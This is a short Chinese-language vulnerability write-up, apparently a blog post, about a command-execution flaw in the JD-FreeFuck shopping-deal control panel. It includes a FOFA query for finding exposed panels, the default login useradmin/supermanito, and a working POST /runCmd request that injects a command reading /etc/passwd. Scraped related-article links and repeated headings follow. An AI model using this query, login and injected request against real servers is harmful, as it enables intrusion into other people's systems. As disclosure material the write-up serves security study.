漏洞描述

i ⭐JD-FreeFuck 存在后台命令执行漏洞，由于传参执行命令时没有对内容过滤，导致可以执行任意命令，控制服务器项目地址： https://github.com/meselson/JD-FreeFuck

漏洞影响

s ✅JD-FreeFuck

空间测绘

d ⭕FOFA：title="京东薅羊毛控制面板"

漏洞复现

访问后登录页面如下

✅ 默认账号useradmin/supermanito

POST /runCmd HTTP/1.1cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500

个人博客

孤桜懶契：https://gylq.gitee.io/time

JD-FreeFuck 京东薅羊毛控制面板后台命令执行漏洞相关推荐

XXL-JOB 任务调度中心后台任意命令执行漏洞
XXL-JOB 任务调度中心 0x01 漏洞描述 0x02 漏洞指纹 0x03 漏洞复现 0x04 漏洞示例 0x01 漏洞描述在日常开发中,经常会用定时任务执行某些不紧急又非常重要的事情,例如批量 ...
群晖NAS教程(十九)、利用Docker安装青龙面板(京东薅羊毛)
为了更好的浏览体验,欢迎光顾勤奋的凯尔森同学个人博客群晖NAS教程(十九).利用Docker安装青龙面板(京东薅羊毛) 一.安装qinglong容器在群晖docker套件中,搜索qinglong, ...
phpwind index.php?m=designc=api,phpwind v9存在命令执行漏洞（登陆后台）
已知漏洞:https://www.seebug.org/vuldb/ssvid-94465 phpwind v9最新版存在命令执行漏洞(登陆后台) Phpwind_v9.0.2(最新版),phpwin ...
Hue 后台编辑器远程命令执行漏洞
Hue 后台编辑器远程命令执行漏洞此文章仅供用于学习研究,严禁用于非法用途,否则后果自负. 漏洞简介 Hue 后台编辑器存在命令执行漏洞,攻击者通过编辑上传 xxx.sh 文件即可达到命令执行的目 ...
齐治堡垒机后台存在命令执行漏洞（CNVD-2019-17294）分析
基本信息引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...
Nexus Repository Manager 3 远程命令执行漏洞 CVE-2019-7238
目录 Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现端口设置 Vulnhub官方复现教程 https://vulhub.org/#/environments/nexus/CVE- ...
webmin远程命令执行漏洞(cve-2019-15107)深入分析
漏洞描述近日Webmin被发现存在一处远程命令执行漏洞,经过分析后,初步猜测其为一次后门植入事件. Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的 ...
【安全漏洞】Rocket.Chat 远程命令执行漏洞分析
简述 Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织. 2021年3月19日,该漏洞在 HackerOne 被提出,于2021 ...
weblogic发序列化命令执行漏洞工具分享
weblogic发序列化命令执行漏洞工具分享(链接: https://pan.baidu.com/s/1qE5MFJ32672l-MMl-QL-wQ 密码: d85j) JBOSS_EXP 工具分享( ...

JD-FreeFuck 京东薅羊毛控制面板后台命令执行漏洞

漏洞描述

漏洞影响

空间测绘

漏洞复现

个人博客

孤桜懶契：https://gylq.gitee.io/time

JD-FreeFuck 京东薅羊毛控制面板后台命令执行漏洞相关推荐

最新文章

热门文章

JD-FreeFuck 京东薅羊毛控制面板 后台命令执行漏洞

漏洞描述

漏洞影响

空间测绘

漏洞复现

个人博客

孤桜懶契：https://gylq.gitee.io/time

JD-FreeFuck 京东薅羊毛控制面板 后台命令执行漏洞相关推荐

最新文章

热门文章

JD-FreeFuck 京东薅羊毛控制面板后台命令执行漏洞

JD-FreeFuck 京东薅羊毛控制面板后台命令执行漏洞相关推荐